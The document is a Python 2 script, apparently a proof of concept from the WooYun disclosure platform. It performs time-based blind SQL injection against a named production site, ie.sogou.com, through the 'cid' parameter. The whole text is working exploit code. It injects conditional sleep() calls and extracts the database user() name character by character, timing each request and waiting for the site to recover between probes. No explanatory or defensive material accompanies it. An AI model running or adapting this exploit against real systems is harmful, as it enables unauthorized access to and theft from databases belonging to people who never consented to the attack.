WooYun.org

import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'Cookie': '',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
print 'Current user() is:'
user = ''
for i in range(1,22,1):     
    for payload in payloads:
        # must wait until service is available
        wait_tip = ''
        while True:
            try:
                wait_tip = wait_tip + '.'
                sys.stdout.write( wait_tip + '\r' )
                sys.stdout.flush()
                conn = httplib.HTTPConnection('ie.sogou.com', timeout=5)
                conn.request(method='GET', url='/app/?default&api=12&cid=0&p=1&route=tools/main/cate_recommend')
                start_time = time.time()
                conn.getresponse()
                conn.close()
                if time.time() - start_time < 5:
                    break    # sevice available now
            except Exception, e:
                pass
        try:
            conn = httplib.HTTPConnection('ie.sogou.com', timeout=20)
            rand_num = str(random.random())
            url = '/app/?default&api=12&cid=if(ascii(mid(user(),%s,1))=%s,sleep(1),0)&p=1&route=tools/main/cate_recommend' % (i, ord(payload))
            conn.request(method='GET', url=url,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
        except:
            user += payload
            print 'Now user() is [' + user + '], wait until site recover from last query.'
            break
print 'finally, user() is', user